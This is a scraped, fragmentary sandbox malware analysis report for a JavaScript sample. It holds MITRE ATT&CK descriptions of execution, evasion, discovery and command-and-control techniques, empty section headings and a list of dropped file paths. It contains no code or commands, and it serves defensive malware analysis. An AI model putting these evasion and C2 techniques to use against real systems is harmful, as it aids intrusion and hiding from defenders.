Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2227274219703378.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e68fca00-51a8-410a-bb64-f0b5bcc89110.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1636

Windows Analysis Report
2227274219703378.js